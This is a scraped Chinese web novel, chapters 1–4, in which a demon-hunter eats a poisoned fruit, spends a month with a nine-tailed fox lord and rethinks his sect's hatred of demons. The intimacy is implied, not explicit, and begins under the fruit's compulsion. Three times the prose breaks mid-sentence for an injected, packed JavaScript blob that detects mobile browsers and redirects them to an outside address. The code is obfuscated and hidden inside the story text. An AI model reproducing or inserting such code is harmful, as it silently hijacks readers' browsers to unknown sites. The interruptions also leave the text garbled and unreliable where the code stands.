《除妖师怀了九尾狐妖的崽》 1. 第 1 章 轰——咔嚓！ 一道闪电划破天际，劈向高耸的山峰。 随着这道天雷落下，天幕上堆积着的雷云逐渐消失，很快没了踪迹。 等待已久的大雨顷刻落下。 望月山某处洞穴。 苏言辰沉默着放下手中的剑，身上洁白的衣裳被雷电击得破破烂烂，而握着的剑身周围还隐隐萦绕着电弧的微光。 “咳咳！” 半晌，他张开嘴吐出一缕黑烟。 在他面前的一对狐妖姐妹似是被眼前这个突然变得漆黑的人影吓着了，抱在一起瑟瑟发抖，头顶上狐耳的毛都根根炸起。 “……原来我是个穿越者？” 苏言辰抹了把脸，口中喃喃道。他看向面前的年幼狐妖，额角的青筋不禁跳动几下。 方才的雷击叫他觉醒了前世的记忆，十九年的现代教育与根植在脑海中宗门的教诲产生激烈斗争。 “嘶！”苏言辰忍不住扶住额头，退后几步靠着石岩坐下来。 他没有管那两个小狐妖。在他今生的记忆里，年幼的妖族对于他们这样的除妖师一向都惧怕得厉害，更别提会反击。 是的，今生他的身份是一名除妖师。 他这辈子生活的世界是个人妖共存的世界，人族与妖族之间积怨已久，势同水火。因为常有恶妖袭击人类，人类中便诞生了除妖师这个职业。 他所处的宗门玄天宗便是培养除妖师的门派之一，而他现在之所以出现在这个山洞就是为了宗门下发的任务——完成他的第一次除妖行动。 “除妖，只要是妖就一定要除去吗？”苏言辰抬头看向对面僵着身体一动不敢动的小狐妖，握着长剑的手指微微颤动。 向无辜弱者施暴实在是令人不齿的事情。在他的调查中，这两只狐妖并没有什么害人的记录。 想来宗门之所以将这个任务作为门下弟子首次的除妖行动也是因为知道这是个相对简单的任务。无害又年幼的妖自然好除，困难之处其实在于人心态度的转变。 而除妖有了第一次，就会有第二次第三次，门下弟子一旦完成了第一次任务，那么以后再次除妖将会更加没有心理负担。 往日里，苏言辰并不会质疑宗门的安排，如今觉醒记忆后他感觉往日在宗门的记忆仿佛被蒙上一层阴影，那些习以为常的事情竟让他感觉不适起来。 而且……面前的妖实在太像人类了，同样拥有类人的身躯，同样拥有情感，甚至同样会说话。可以说除去这样的妖的感觉同杀人没什么两样。 “即使是为了保护人类，这么不分善恶通通斩杀，是不是过于——”极端了些？ 理念的转变让他的脑袋无端产生剧痛，恍惚间他好像听到脑中有什么碎裂的声音，随后整个世界都暗了下来。 …… 大雨过后山间升腾起雾气，月亮无声无息悬在空中，照着整个山谷。 在望月山深处藏着一座属于妖族的宫殿。 时值夜晚，宫殿的走廊上挂着大红的灯笼。 三三两两的头顶狐耳的小妖穿梭在不同的房间，像是在准备着什么。 再次醒来的时候，苏言辰发现自己正处在一间雾气缭绕的房间里，整个人光溜溜浸在水里。 身上的衣物包括除妖所用的武器装备都没了踪影。 想到记忆里宗门教习师傅教导的有关妖物伤人吃人的说法，他迅速警惕起来。 自己难不成被那两只小狐妖捉回大本营了？ 清醒过来后的脑袋还隐隐有些疼痛，苏言辰皱起眉头往旁边看去。 一个头顶狐耳的妖族小姑娘正面无表情地用帕子擦洗着他的躯体，淋在皮肤上的水温高得烫人，苏言辰忍不住倒吸一口气，挣扎起来。 他这才发现，不知什么时候，他的身体竟然变得虚软无力。 不仅如此，在运转起灵力之时，苏言辰察觉到在他体内似乎存在着一股灼热的能量吞噬着他的灵力，等到运转的灵力被其吞噬殆尽，热意也随之弥漫整个身躯。 在他昏迷的时候，这个妖族对他做了什么？还有，洗澡水这么烫，是要把他刷干净宰了吃吗？ 联想到家畜屠宰时的场景，苏言辰冷不丁打了个寒战。 难不成宗门师傅说的是对的？妖性本恶？ “住……住手。”他开口阻止道。声音发出传入人耳，苏言辰很快又住了嘴。这样沙哑又奇怪的声音怎么可能是他发出的？ “你不要乱动。” 小姑娘睁着圆溜溜的大眼睛紧皱眉头瞪了他一眼，又收回视线，嘴上说着话，手上的动作却不停。 “你这是中了两极果的毒，咱们这是在给你解毒。” 这个小家伙看上去好凶。苏言辰心中纳闷。不过在听到小狐妖的解释后，他的心略微放松了一些。 “啊，那谢谢了。” 原来不是为了吃他，是为了给他解毒。 只是，两极果？他什么时候吃了这个东西？苏言辰蹙眉思索着。 最初在接了宗门任务后，他便根据线索追捕那所谓妖气。依照检测妖气的特殊罗盘指向，他从城镇追到山间，最后在一处山洞发现了妖的身影，结果没想到是两只小狐妖。 中间他似乎并未乱吃什么东西……除了，因为口渴吃下的那枚形似橘子的果子。 “……”莫非那就是两极果？ 苏言辰忍不住想捂住自己的脸。明明他是见其他鸟雀也在啄食才摘的，怎么这个经验也不适用了？这下好了，自己不仅被妖捉了还中了毒。 也不知道这个毒该怎么解，苏言辰感受着身上涌上来的燥热，内心总有种不祥的感觉。 什么样的解毒还要将人洗刷干净，苏言辰心中吐槽着，这看上去真的很像电视剧里后宫嫔妃的侍寝。 眼见着狐妖小姑娘的手就要接触到不可言说的地方，动作间带着不容拒绝的意味，苏言辰抗议未遂退而求其次，提议道。 “起码换个男生过来。你一个小姑娘洗……不太合适吧。” “什么小姑娘，我可是男妖。”狐妖小少年加快速度，将洗刷干净的人族拖到旁边的床单上。 “等等，你们这是要把我带哪儿去？！” 目送苏言辰被其他伙伴卷起送走，狐妖小少年丢下手帕，用冷水清洗被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281221|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫得通红的双手。 “没想到妹妹说的除妖师居然真是傻的。”他回忆着傍晚时，两个妹妹将人族拖进来时说的话，不由摇了摇头。 也是，他还从未见过有除妖师放着妖不杀还对妖族有好脸色的。 “若不是兄长中毒……”狐妖小少年叹了口气，若不是兄长中了两极果的毒危在旦夕，他们也不会让这个除妖师进来望月山。 两极果，顾名思义，蕴含阴阳两极的果子，通常成对出现，每个果子中存在一阴一阳两种能量。 人族或者妖族单独食用阴果或阳果后都会产生类似情毒的症状，若想解开此毒，则需要与服用相应果实的人进行持续一个月的深入交流。 若两极果的毒长时间未被解开，食用者的身体就会被那股阴力或阳力破坏，难以修炼。 中毒时间越长对身体的伤害会越大甚至有碍寿数。但若是与相应果实使用者进行了交流，那些损害也会很快恢复。 原本因为误摘果实让兄长食用两极果中的阴果中毒就叫狐妖姊妹心中很难过，好不容易找到当初摘果子的地方，姐妹俩却发现这个阳果居然意外被这个除妖师吃了。 好在承天之佑，这个除妖师突然晕倒，方便了俩姊妹将其拖回宫殿救助兄长。 “也不知道这家伙是幸运还是不幸。”小狐妖想到两极果附带的副作用，脸上突然露出莫名的笑容。 误食两极果后能很快解决毒性固然很幸运，但……那位人族可是一位男性，还是一向对妖族深恶痛绝的除妖师。 “两极果可还有子嗣果的别称。”小狐妖摸了摸下巴，“不知道那个傻傻的除妖师知道真相后会是怎样的反应呢？” …… 狐妖们的动作很快，未等苏言辰反应过来，他本人已经被床单卷着抬到一处安静的宫殿。 因着那静谧的氛围，他不由闭上嘴。 宫殿里弥漫着一股沁人的冷香，越是往里走越能感觉到宫殿深处某种压抑冰冷的气息。 垂下的帘幕被领头的狐妖拉开，很快，苏言辰便被人撤下身上裹着的床单，整个人翻滚到床上。 昏暗的房间里，他听见了除他自己之外的另一道呼吸声。 急促、压抑，又时而泄出刻意放轻的闷哼声。 黑暗中似乎有什么毛茸茸的东西缠了上来。 在屋子的墙壁上，苏言辰看到了布满整面墙的九条巨大的尾巴黑影。 “原来，小狐妖说的解毒，就是这样的解法？” 两极果的毒素已经遍布全身经络，体内的热意如同奔腾的岩浆即将灼尽苏言辰的意志。他抬起手攥住另一个人，或者说是妖的狐狸尾巴。 也不知为何，就连毛茸茸的大尾巴也是冰冷的触感，苏言辰将尾巴按在脸颊上，试图让自己清醒过来。 “你也是被小狐妖骗过来的倒霉蛋吗？”苏言辰含糊着说道，脑中思绪逐渐变成一团浆糊。 下次……下次自己再也不随便乱吃野外的果子了。 昏沉间，他似乎听到了一声很好听的轻笑，被他拽到脸颊边的尾巴倏忽消失，下一刻，比寒冰更冷的手抚上了他的面颊。 2. 第 2 章 风吹拂着垂下的床幔。一只手从中挣扎着露出来。 接着是胳膊，大腿……最后，一个穿着不相称衣服的青年从床上慢腾腾挪了下来。 苏言辰小心翼翼拿开卷在自己身上的尾巴，转头看向床头。 昨天和他春风一度的某位妖族还在睡着。 那一头银色的长发散落在床上，在晨光下泛着光泽。不只是头发，狐尾狐耳也是，柔顺又好摸。 苏言辰没忍住轻轻抚摸着旁边的大尾巴。 经过一夜，他算是想明白了，昨天小狐妖说的两极果怕是传说中那种春天的药。 被人撅了固然叫人生气，不过归根到底还是自己乱吃果子的锅。 况且……苏言辰的目光落到九尾狐妖那张沉静美丽的脸上，那眉上点缀的金色妖纹给那张脸更添几分妖异。 看在这家伙长得不错的份上，自己也不算亏。 他垂下眼眸，扶着床沿站起身。 毒既然解了，他也需要回宗门复命，纵然任务失败也不过是被关禁闭。 这次经历就当做是一次教训。苏言辰心中暗想。 不过他的除妖装备到底到哪里去了？ 他迈开脚步，腿忽的一软差点跪在地上，身后忽然传来熟悉又陌生的清冷声音。 “你要去哪儿？” 闻言，苏言辰的身形一顿，转头便撞进一双金色狭长的眼睛里。 与夜晚黑灯瞎火时的热情不同，如今这只大妖赤着上身斜靠在床榻上，周身冰冷的气质更加明显。 随着对方神志的清醒，那九条垂在四周的尾巴也舒展开，缓慢舒卷摆动。 紧接着那只被苏言辰摸过的狐尾卷起呆愣住的青年，将其拖回床上。 “虽是阴差阳错，但既然你我之间木已成舟，我自然会对你负责。” 瞧见苏言辰诧异的表情，九尾狐妖撇开眼神，语气淡淡：“我九尾一族与一般的狐妖不同，对伴侣最为忠贞。” “你不必担心其他。” 听到这话，苏言辰想起传闻中常提及的狐妖多情的说法。看得出来，眼前这位大狐狸对人族也有所了解。 只是，无论九尾的忠贞是真是假，现在也与他没什么关系。 他回答道：“不，不必如此。都是男人又不会怀孕，你就当是一场露水情缘。等我离开，就当作……” “就当作……无事发生。”苏言辰的话音越来越低，直至消失。 他看着神色冰冷望着自己的大妖，脑后霎时间冒出冷汗。 怎么，这个狐妖莫不是生气了？！ “吾名银青。是这座望月山的主人。”九尾狐妖忽然扭过头，望向床外侧的地面，散在周围的狐尾安静叠在床榻上，一动不动。 “你还没告诉我你的名姓。” “我叫苏言辰。”苏言辰叹了口气，表明自己的身份：“是……玄天宗的除妖师。” “你就这么直接的将你的身份告诉一个妖族？”银青的尾巴微微晃动，脸上冰冷的神情竟有了缓和的迹象。 “就不怕我杀了你？” “你早晚会知道的。”苏言辰坦言。 自己虽然没完成那除妖的行动，但之前追逐那两只小狐妖的事情早晚会被大妖知道，与其从别人口中传出，不如自己说出来。 “你若是想杀我，那就来吧。” 回答苏言辰的是大妖愉悦的笑声。 银青伸手挑起苏言辰的下巴，眸中满是兴味：“杀你？”他笑哼一声，语气透着嘲讽。 “我们可不像你们除妖师，是非不分、滥杀无辜。” 银青移开手指，站起身走到苏言辰身边。 “你身上一点妖的怨念也没有，分明是个再清白不过的家伙。” 杀妖自然不会没一点痕迹，每当杀去一妖，除妖师身上属于妖的怨念便会加深。身负重孽的妖被杀死反而没什么怨念，而越是没有罪孽的妖死去后产生的怨念便会越重。 当然，这样的怨念也只有妖族才能辨认出来。 听到银青对妖的怨念的解释，苏言辰陷入沉默。 难怪在外面，那些小妖一见到捉妖师就神色巨变。在他们眼里，捉妖师身上的怨念越多就越代表这个人斩杀的无辜小妖越多。 这也解释了，为何之前苏言辰遇到的小妖都不是很怕他，还胆敢将他拖到妖族大本营里。 “既然如此，你能不能放我离开？”瞧着大妖心情很好的样子，苏言辰试探着询问。 “不行。” 银青圈在青年捉妖师腰部的尾巴收紧，拒绝的原因纵然有自己对人类产生兴趣的缘由，更重要的是…… “我们两个人身中的两极果之毒还未解完，你还要在望月山待上一个月。” “还没解完？”苏言辰脸色顿时一变，一时间不光是发酸的腰部连肾脏都开始幻痛。 “这什么毒，居然要一个月时间。” 要是一个月自己还没回去复命，宗门不会派人来找吗？回想起记忆里宗门对自己漠视的态度，苏言辰不禁陷入沉默。 “……” 或许，自己在宗门眼里也没那么重要。 “好吧，那一个月后总可以放我回去了吧？” “可。” 银青微微颔首。 未等苏言辰放松下来，他忽然听到“咔嚓”一声，一条金属质感的手环出现在他的手腕上。 “你这是做什么？！”苏言辰皱眉看向狐妖。 “为以防万一，在望月山的这一个月，你需要带上这个锁魂链。” 银青露出手腕上同款的手环，朝苏言辰示意。 “放心，这个锁链的长度足够你逛遍整座望月山，只要你没有往外界通信的举动，这个手环就只是一个装饰品。” 苏言辰晃了晃手腕上的手环，重量极轻，下面坠着的锁链无形无影仿佛不存在也没有重量，但在灵气汇聚的双眼中又极为清晰。 “……” 抬眼瞧着银青脸上淡淡的笑意，苏言辰摇着头叹了口气，他放下手臂。 算了，不过是一个月，他也不是不讲理的人。 对方身为一山之主，一族之长，背负责任自然需要谨慎。 …… 用过饭后，苏言辰在门口撞见了昨夜的狐妖小少年。 据银青所说，这个小少年名叫银雪，是个外冷内热的别扭性子，同时在望月山担任医者的职务。 小孩臭着一张脸站在他身前，身后跟着两个更小的小姑娘，看上去格外眼熟。 “喂，是你说要逛望月山的吗？” 见苏言辰一直望着自己的妹妹，银雪伸手在他面前挥了挥。 “别看了，我是不会让你杀掉我妹妹的。” 苏言辰回过神，视线在银雪那毛茸茸的狐耳上顿了顿，随即说道：“说什么胡话呢？我怎么会杀你妹妹。” 他已然认出来，这对狐妖姐妹就是昨天洞穴里那两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281222|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个。也就是将他拖回宫殿的罪魁祸首。 既然昨天没忍心下手，今天更加清醒的状态下他更加不会杀。 “我又不是什么滥杀无辜的家伙。” 闻言，银雪瞥了他一眼，转身带路。 “跟上。你不是说要逛望月山的吗？” 一路上，苏言辰跟在银雪身后，见到了与教习师傅口中不同的妖族日常生活。 所谓的茹毛饮血是不存在的，他也并未见到食人的现象，一切的一切都和普通人族的生活极为相似。 苏言辰心中升起困惑，如果妖族真有部分这样，在人族中的名声怎会一边倒般的那么糟糕？ “这边是我们狐狸洞的领域，而在这下面，便是人族居住的地方。”银雪领着苏言辰站在半山腰，可能是想到了什么，他对苏言辰的态度软化了几分，主动开口介绍。 “狐狸洞？”顺着银雪手指的方向，苏言辰看到了他昨夜居住的妖族宫殿。 “怎么叫这个名字？” “没办法，山下月华村的人族都这么叫，我们当时还没给住处取名，久而久之就默认了。” 话说到一半，银雪翕动着鼻翼，唰的一下转头看向宫殿的方向。 “时间不早了，咱们回去吧。兄长在做鸡！” 听见这话，两个沉默已久的小姑娘头上的狐狸耳朵顿时立起来，顾不上害怕扯着苏言辰的衣袖就往山上跑。 “这鸡真那么好吃？” “废话！狐狸爱吃鸡，天经地义。”银雪边跑边回答着苏言辰的问题。 “从小到大，都是兄长给我们做的鸡。以后，兄长也会给你做。还会……”给你们的孩子做。 后半截话被银雪吞回肚里。他悄悄瞄了眼青年捉妖师的腹部。 两极果益于子嗣的功效并不能说是一发即中，不过持续一个月的解毒过程自然能保证绝对中标。 若是兄长能力强，他的小侄儿指不定已经在青年腹中孕育了。 银雪想到早晨兄长冷淡中透着愉悦的神色，心中叹息。 想来兄长也很中意这个捉妖师。 若兄长和这个捉妖师能很快修成正果，他就将两极果能叫人孕育子嗣的功效告诉兄长，若是不能……那他就当这个小侄儿从来没有存在过。 妖族宫殿的布局并不算讲究，大家伙儿吃饭的地方与厨房连在一块儿。坐在桌前便可以看见厨房里的场景。 夜晚的山间霜寒颇重，等苏言辰踏入烧着火的厨房，顿感周身的寒冷被一股暖意驱散。 厨房里堆叠着大大小小的原形狐狸，苏言辰有些恍然。 难怪刚刚在外面没见到妖族的影子，原来都窝到这小小的厨房里了。 猫猫狗狗在天气冷的时候都喜欢团在一起取暖，想来狐狸也逃不过这样的天性。 明亮的火光映照在银青那张如玉的脸上，冰冷的气质在这一刻悄然褪去。 苏言辰注视着大妖神情认真动作娴熟地装盘分餐，时而给贪嘴的妖族幼崽喂食，心中某一角落突然被轻轻触动。 或许这便是家的感觉吧。 他抱胸靠在门框边上瞧着这幅温馨的画面，脑中忽然闪过一丝念头，未等抓住便又悄悄溜走。 上一世他有关家庭的记忆已经模糊，但想起来时还会感觉温暖。而这辈子…… 苏言辰按住突然刺痛的额头，蹙起眉头。 怎么回事，他的脑袋难道出问题了？怎么昨天痛今天也痛？ 3. 第 3 章 “你回来了。”银青放下手中端着的汤碗，走到年轻的捉妖师身边。 “怎么了，头疼吗？” 微凉的手指触及苏言辰额头两侧的太阳穴，停顿了一下，像是在看对方的反应。 “你这个除妖师太没有警惕心了。”银青温热的吐息呼在人族青年的耳侧，苏言辰忍不住动了下脖子，却被人制止住。 “别动，我给你按按。”触碰着太阳穴的手指轻缓地按揉起来。 只是，随着时间的流逝，苏言辰愈发感觉皮肤上的手指的温度变得冰冷起来，不，或许不只是对方的手指冰冷，更因为自己的体温升高。 银青的动作停了下来，苏言辰只感觉他的腰间多出了一条泛着寒意的毛绒狐尾，随后听到身旁之人那略带沙哑的嗓音。 “除妖师，解毒的时辰到了。” …… ………… 在望月山生活了一段时间，苏言辰竟有些习惯这样平静的生活。 无需被师兄弟们派去做杂事搞得身心俱疲，也不用跟在师妹身后拦着前仆后继的追求者，每天被压迫得连修炼都要挤压睡眠的时间才能实现。 苏言辰越发想不明白，在这样的环境中，曾经的自己是怎么忍受下来的。 “我的脑子莫不是被门夹了，还是被人下蛊了？”接过银芷递过来的桂花糕，苏言辰张开嘴咬下半块。 银芷是银雪的妹妹，和另一个狐妖小姑娘银兰是一对双胞胎姐妹，她们俩也就是最初被苏言辰放过的那对小狐妖。 在最开始，这俩小姑娘还有些怕苏言辰，后来或许是年幼不记事也或许是和苏言辰相处久了发现这个年轻除妖师并不像传闻中那般吓人，身上更是连妖族怨念也没有，这对狐妖姐妹便开始缠着他，各种跑前跑后。 “走了。” 背着药箱的银雪从身后屋子里走出来，分明还是个半大小子却一副老成稳重的模样。 苏言辰拍拍手上的糕点渣，随手将桂花糕揣进怀里站了起来。 据银雪的说法，每个月中旬，他们都会下山一趟，替村子里的人治病或是交换生活所需的物品。听到这个消息，在狐狸洞宅了好久的苏言辰瞬间来了兴致让银雪带上自己。 见苏言辰站起来的动作迅捷快速，狐妖小姑娘慌忙跑到他身边。才到成人腰间的小狐妖立着耳朵，伸出手抚摸着青年的腰腹，嘴上念叨着：“慢点慢点。” 苏言辰挠着后脑勺，内心既困惑又觉好笑。 “放心，我身体好着呢。”他揽过两个小姑娘，趁机揉了揉她们毛茸茸的小脑袋。视线对上银雪的大眼睛，苏言辰不免心中有些心虚，手上的动作顿了顿，随后放下手。 “哼。快点跟上来。”银雪意味深长看了苏言辰一眼，转身跨过门槛往屋外走去。 跨过半山腰那道石阶，苏言辰回望时发现原本还很清晰的上层石阶陡然没了踪影，只余下嶙峋的山石与密密匝匝的藤蔓，高大的巨树仿佛将头顶的阳光都严实挡住。 “来路怎么不见了？”苏言辰询问道。 银雪颠了下后背上的药箱，沉稳的语气中带着一丝骄傲。 “这是兄长为了保护咱们设下的迷阵。即使是除妖师也很难看破。除非……” “除非什么？” 银雪示意苏言辰低下身，随后拍了拍他的肩膀。 “除非得到兄长的认可，或是修为比兄长厉害。” 银雪轻哼一声，叉起腰：“我的兄长天下第一厉害，自然不会怕你们这些除妖师。” 正说着，山路上传来小孩嬉笑打闹的声音。 银雪的注意很快被吸引，加快动作往山下赶去。 还在山路上苏言辰便闻到一股浓郁的香气。等绕过一株巨木，眼前豁然开朗。 山下的村落名叫月华村，村落中每家每户都种有桂树。与一般人族不同，月华村的村民对山上下来的妖族态度很是友好。 “小狐大夫下山啦。”有年长的老伯向银雪点头问好。 热情的大娘将几枚自家鸡生的鸡蛋往银雪药箱里塞，却被躲开，最后有人眼疾手快往小狐大夫嘴里塞了一根烧鸡腿。 “噗！”苏言辰瞧见银雪那严肃的小脸瞬间变形，圆溜溜的眼睛被惊到瞪得更大，心中一乐不由笑出声来。 “哥哥，哥哥。” 避开银雪恼羞成怒的眼神，苏言辰循声望向腿边拉着他衣袖的人族小孩。 “哥哥，我叫小满，你是新来的狐妖吗？” 见苏言辰摇头，小满又问：“那哥哥你是什么妖？” “……”我就一定是妖吗？ 苏言辰将小孩抱起来，点点对方的鼻头，反问道：“你为什么会觉得哥哥是妖呀？” “因为哥哥长得好看啊。阿娘说好妖长得都漂亮。就像小狐大夫一样。”小满指着银雪，一脸的理所当然。 “那你猜猜哥哥是什么妖？” 小满努力嗅嗅苏言辰身上的气味，冲他咧嘴一笑：“哥哥一定是桂花糕妖，能变出好多好多好吃的桂花糕。” “哈哈。桂花糕妖？”身旁传来银雪的嘲笑声，苏言辰摇摇头从衣服里掏出桂花糕递给小家伙。 “人小鬼大。吃吧。” “谢谢哥哥！” 小满跳下去，朝苏言辰挥挥手，一溜烟跑开了。 除了银雪外，苏言辰还发现了其他并非是狐妖的妖族。 高大的狼妖替年长的老妇人挑水、修房顶。 头顶兔耳的兔族姑娘同人族男子走在一起，两人中间是蹦蹦跳跳开心笑着的两族混血孩童。 甚至还有树木成妖的桃花妖给搭戏的戏台吹特效，撒桃花瓣。 他们与人族一起生活在月华村，就仿佛两族之间的积怨不复存在一样。 坐在桂树下的大石头上，苏言辰静静看着眼前的场景，平静安宁的氛围下，连脑中时不时出现的刺痛都可以忽视不计。 他算是搞明白了，每每他产生对妖族的善念或想追寻加入玄天宗前记忆时，他大脑的某个区域就会产生痛楚，虽不知道缘由，但必定是玄天宗中某些人的手笔。 毕竟他今生绝大部分时间都在玄天宗。 “等回去后，还需要暗中调查一番。”苏言辰暗想。 他仰起头，手臂撑在石头上看着刚刚升起的月亮，心中不由想起银青那头顺滑柔亮的银色长发。月光清冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281223|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皎洁，而那大妖那头华丽的长发就像月光化作而成，连同整个人都仿佛幻梦一般。 一如这即将结束的一月之约。 等到一个月的时间到了，他也该回玄天宗，有可能离开也有可能继续做着除妖师，毕竟这世上有善妖，自然也存在罪孽深重的恶妖。 他唯一能做的不过是在遇见善妖时放过对方，毕竟改变他人思想实在太过困难，而一个人的力量太渺小。 回去的路上，苏言辰很沉默。银雪不习惯两人间这么沉闷的氛围，尝试着抛出几个话题，最终都以失败告终。 最后，他盯着头顶圆圆的月亮，长叹一口气。 他说：“你想知道为什么山下的村民对我们这些妖这么友善吗？” “为什么？” 得到回应，银雪却不再说话，闷声往山上走。 山间的月色清凌凌照在石阶上，踏过最后一个台阶，两人来到山顶。 从高处往下看，可以看见山脚下村落里星星点点的灯光。 银雪凝望着山下，眼中倒映着那些光点。他开口诉说着。 “在几年前，有一只恶妖袭击了这个村落。” “恶妖修为很高，隐蔽能力也很强，除妖师根本没有发现它的踪迹。它就这样来到望月山，来到月华村的附近。” “最后是兄长发现了恶妖的行径，将其斩杀，救了月华村的村民。” “这便是缘由。” 见苏言辰不说话，银雪皱起眉头，恶声恶气道：“你们除妖师是不是觉得我们妖都是坏的？都该被除去？” “当然不。”苏言辰轻轻摇头，他从思绪中抽回心神。“当然不是。” “我知道，妖也分善恶。就和人一样。有善人也有善妖，而该被除去的理应是那些恶妖恶人。” “你倒是不一样。” 银雪轻哼一声，抬手握住苏言辰的手腕，沉吟半晌，眉头突然一跳。 “怎么了？这样看着我。” 被银雪那怪异的眼神看得心里发毛，苏言辰缩回手，快步朝狐狸洞走去。 “喂！你等等我。” 狐妖小少年摆动着身后的尾巴，捉住青年的衣袖，殷殷叮嘱道：“我兄长之前和恶妖交战后受了伤，你要照顾好他呀。” “受伤？我怎么没感觉到。” “嗨呀，你不觉得兄长身边总是冷冰冰的嘛。那恶妖身上有寒毒。”若非如此，那两极果的阴果也不会那么快就对兄长造成伤害。 “你难道不想以后抱着的大狐狸是只毛茸茸暖乎乎的大狐狸吗？” 苏言辰听着小狐妖的话，不由跟着做出想象。 雪花飘飞的寒冷冬日，有这样一只美丽的大狐狸给自己暖被窝……那确实是一件很让人心动的事情。 “……” 他迅速摇头，用力搓了搓银雪的头顶。 “小孩子家家的，想这么多。” 他马上都要离开了，想这个做什么。 不管是为了复命还是为了调查自己脑中那种刺痛的源头，他最终还是要回到玄天宗。若是和妖族相处交深，时间一长被玄天宗的师长们发现，也会给望月山的妖族带来祸患。 4. 第 4 章 轻微的脚步声响起，苏言辰从寝殿走出来，忽而看到桌面上摆着什么。 黑白两色的特殊罗盘，以及被赤色绳子细细缠好的长剑。 这不是他失踪已久的除妖武器吗？ 除此之外，在武器的旁边还放着一个小包裹，里面放着点心以及些许碎银。 苏言辰朝身后的屋内望了一眼，垂眸拿起武器走出宫殿。 一个月时间已到，毒解了，他也该离开此地返回玄天宗。 时间还早，狐狸洞里的妖似乎都在沉睡。直到苏言辰走下石阶，都没有一个妖出来。 走至那棵巨树下，年轻的除妖师转身回望了眼身后，蓦然看见一条长长的清晰的石阶从山脚一直盘旋而上直达山头。 ……这是兄长设下的迷阵…… ……想要看破除非得到兄长的认可，或是修为比兄长厉害…… 小狐妖的话语似乎出现在耳畔。 “……” 苏言辰沉默着继续往月华村走去。 虽然时间尚早，但村落里已经有人族出来活动，袅袅的炊烟升起，带着人间的烟火气。 “小兄弟这么早出去啊。” 是那个给小狐妖塞鸡腿的热情大娘。 苏言辰点点头，朝大娘打了个招呼，眨眼的功夫怀里便被塞了个温热的鸡蛋。 “真是勤快的年轻人。大娘喜欢。来，带上这个煮鸡蛋，路上饿了吃。” 见大娘笑眯眯地望着自己，似乎还想塞其他东西，苏言辰连连道谢，将兜里留着的糖送给大娘，随后找准时机撒腿便跑了出去。 “诶，真是害羞的小家伙。”燕大娘望着苏言辰的慌张的背影，转手将手里的麦芽糖塞给旁边的小满。 “吃吧，甜甜嘴儿，也沾沾勤快劲儿。长大莫要做懒汉。” …… 望月山山顶。 银青站在宫殿外，望着山下除妖师离开的背影，默然不语。 “兄长就这么放着他离开，难不成是不喜欢他了？” 银雪抱着怀里化作原形还在睡觉的妹妹，好奇开口。 却听银青笑了笑，忽然轻轻咳了两声。 良久才开口回答小狐妖的问题。 “他有他要做的事情，我自然不会阻止他离去。若是强求留下，反会遭人厌恶。” 银青看向山下除妖师越来越小的身影，在空中轻微晃动的狐尾慢慢停住，最后垂下来落到地面上。 冥冥之中他有种强烈的预感，他与苏言辰绝对还会再见面。 若说最开始，他对苏言辰的情感只不过是出于负责的想法。那么在这一个月的相处中，他却慢慢对这个拥有与其他除妖师不同思想的人族青年产生了不一样的感觉。 原来在想要将妖赶尽杀绝的除妖师里也会有这样的异类，认为妖与人一样也分善恶，甚至内心深处会期望着某天妖族与人族能和谐相处。 银青碰了碰自己的脸，当时或许是这张脸让对方失了心防，情迷意乱中竟说出这番对于除妖师来说离经叛道的想法。 “和平共处么？”银青又晃动起身后的尾巴，他笑了笑。果然是个天真的人，天真得可爱。 这样的想法听上去虽然荒谬，但并非不可为。就好比望月山的月华村，村落里人与妖居住在一起，分外和谐。 想到月华村，他忽而对着旁边发呆的银雪说道：“小雪，夜阑还待在月华村吗？” “嗯，上次我去村子里还看到他帮阿婆修房顶呢。” “过几天喊他回来吧，我有事要他办。” …… “刚刚那道影子好像小师妹。” 穿过城门，苏言辰远远望了眼月华村的方向，转身继续走在街道上，心中有些狐疑。 小师妹不应该在宗门吗？她怎么可能来这边？ 望月山与玄天宗的距离相隔甚远，就连那猎杀小狐妖的任务也是门派师傅见没人接才分派给自己的。 “或许是看错了……” “苏师兄，你最近到哪里去了？我到处找都没找到你。” 苏言辰突然感觉他的肩膀被人猛的一拍，一道清脆甜美的嗓音在他耳边响起，语气中带着抱怨的意味。 “……”小师妹？ 苏言辰看着眼前手中抱着几袋新奇玩意儿的明眸少女，还没反应过来，怀里便被塞了一大堆东西。 小师妹是宗主的幼女名叫申元玥，从小便备受宠爱，对曾经的自己倒是与一般师长不同，但这不影响她时常将自己当做任劳任怨的工具人。 见苏言辰将手上东西拿好了，申元玥似是对他的沉默习以为常，直接转过身走在前面，口中嘀咕着：“就算是被……控制住，也会自己到处乱跑吗？算了算了，反正找到了。刚好和他一起回去。” 